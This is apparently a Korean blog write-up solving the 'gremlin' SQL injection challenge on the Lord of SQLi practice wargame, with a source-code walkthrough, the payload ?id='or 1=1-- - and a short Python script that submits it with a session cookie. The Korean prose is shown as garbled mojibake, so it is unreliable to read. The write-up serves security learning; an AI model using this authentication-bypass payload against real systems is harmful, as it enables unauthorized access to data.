Jastes 2023. 4. 29. 09:00

Write Up

์ฒ˜์Œ์ด๋‹ˆ๊นŒ ์œ„ ๋ฌธ์ œ๋“ค์€ query๋ฌธ๊ณผ ํ•ด๋‹น ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์•Œ๋ ค์ค๋‹ˆ๋‹ค.
์ด๋ฅผ ์ด์šฉํ•˜์—ฌ solve() ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด ๋ฌธ์ œ๊ฐ€ ํ’€๋ฆฌ๋Š” ํ˜•์‹์ž…๋‹ˆ๋‹ค.

 

https://los.rubiya.kr/gate.php

 

los.rubiya.kr


์†Œ์Šค ์ฝ”๋“œ ๋ถ„์„


file setup ๋ถ€๋ถ„๊ณผ preg_match ๋ถ€๋ถ„์€ ๊ธฐ๋ณธ์ ์ธ php ๋ฌธ๋ฒ•์ด๋ฏ€๋กœ ์„ค๋ช…์„ ๋„˜์–ด๊ฐ€๊ณ 
preg_match์˜ ๊ฒฝ์šฐ _, ., () ๋ถ€๋ถ„์„ ํ•„ํ„ฐ๋งํ•˜๋Š” ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

 

์ฐธ๊ณ ๋กœ ์ •๊ทœํ‘œํ˜„์‹์œผ๋กœ ์ •๋ฆฌํ•˜๋ฉฐ, ํ•ด์„์‚ฌ์ดํŠธ๋Š” ํ•˜๋‹จ์— ์žˆ์Šต๋‹ˆ๋‹ค.

 

RegExr: Learn, Build, & Test RegEx

RegExr is an online tool to learn, build, & test Regular Expressions (RegEx / RegExp).

regexr.com

 

๊ทธ๋Ÿฌํ•˜๋ฉด query ๋ถ€๋ถ„์˜ where์ ˆ์„ ํ†ตํ•ด id๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๊ณ  result์˜ ๋ณ€์ˆ˜์—..
ํ•˜๋‹จ์˜ ๋งํฌ์˜ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ชจ์Šต์ž…๋‹ˆ๋‹ค. ํ•ด์„œ ์–ป์€ ID๊ฐ€ ์กด์žฌํ•œ๋‹ค๋ฉด solve ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰

 

PHP: mysqli_result::fetch_array - Manual

query($query);/* numeric array */$row = $result->fetch_array(MYSQLI_NUM);printf("%s (%s)\n", $row[0], $row[1]);/* associative array */$row = $result->fetch_array(MYSQLI_ASSOC);printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);/* associative and numeri

www.php.net


Soultion

Where์˜ ์ฃผ์„(์šฐํšŒ)
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php

?id=%27%20or%201=1%20--%20-
?id='or 1=1-- -

ํ•ด๋‹น ๋ถ€๋ถ„์€ GET๋ฐฉ์‹์œผ๋กœ ์–ป๊ธฐ์— URL์— ์ž…๋ ฅ์„ ํ•˜์—ฌ SQL๋ฌธ์„ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

 

SQL Injection

1. Background: Relational DBMS 1. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ธฐ๋ณธ ๊ฐœ๋…๊ณผ DBMS - By L.M.S 1. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ•„์š”์„ฑ ๋”๋ณด๊ธฐ ๐Ÿ’กKEYWORD - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ•„์š”์„ฑ - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ •์˜์™€ ํŠน์„ฑ - ๋ฐ์ดํ„ฐ์™€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค - DBMS, ๋ฐ

dystopia050119.tistory.com

์—ฌ๊ธฐ์„œ ๊ธฐ๋ณธ ๊ณ„๋…๊ณผ ์•ž์œผ๋กœ ๋ฐฐ์šธ ๋‚ด์šฉ์„ ์•Œ ์ˆ˜ ์žˆ๊ณ  ๋ฐฐ์šด ๋‚ด์šฉ์„ ๋ฐ”ํƒ•์œผ๋กœ
๋ฌธ์ œ๋ฅผ ํ’€์–ด๋ด…์‹œ๋‹ค.

Exploit code
#!/usr/bin/python3
from requests import get
from pwn import *
#import sys

# Argument check (Cookie)
'''if len(sys.argv) != 2:
    print(sys.argv[0] + " [PHPSESSID Cookie]")
print(type(sys.argv[1]))

session = {sys.argv[1]}
'''


'''
headers = {
    'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'cookies' : 'PHPSESSID={0}'.format(session) 
}
'''

url = 'https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php'
cookies = dict(PHPSESSID='ans45ovi49hnu9bs96407ahndf')

payload = ''
param = "?id='or 1=1-- -"

def pw_leak(url, query):
    payload = url
    payload += query
    r = get(payload, cookies=cookies)

    if r.text.find("<h2>GREMLIN Clear!</h2>") > 0:
        log.success('Success!!')
    else:
        log.failure('false :(')


if __name__ in "__main__":
    print(url)
    pw_leak(url, param)

์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€